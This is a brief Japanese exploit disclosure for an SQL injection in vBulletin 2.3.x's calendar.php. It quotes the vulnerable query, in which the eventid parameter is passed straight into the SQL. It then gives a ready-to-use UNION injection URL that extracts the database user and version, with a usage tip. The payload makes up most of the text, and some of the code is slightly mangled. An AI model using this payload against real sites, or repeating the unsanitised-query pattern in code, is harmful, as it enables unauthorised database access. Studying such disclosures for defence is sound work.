vBulletin フォーラム 2.3.xx SQL インジェクション
Calendar.php に SQL インジェクションの問題が存在します。
-------- Calendar.php の 585 行目から切り取り ----------
else if ($ action == "edit")
{
$eventinfo = $DB_site->query_first("SELECT allowedmilies,public,userid,
eventdate,event,subject FROM Calendar_events WHEREeventid = $eventid");
----------------------------------------------- ------
MySQL バージョンが 4.00 より大きい場合、UNION 攻撃が使用される可能性があります。
----- ------------------------
http://ww.xxx.com/bbs/calendar.php?action=edit&eventid=12 Union (SELECT allowedmilies,public,userid,'0000-0-0',user(),version() FROM Calendar_ev
ents WHERE eventid = 13) order by eventsdate
---------- ------------------------
query_first 関数はクエリ結果の最初の行のみを返します。 !
必要なものが返されることを確認してください。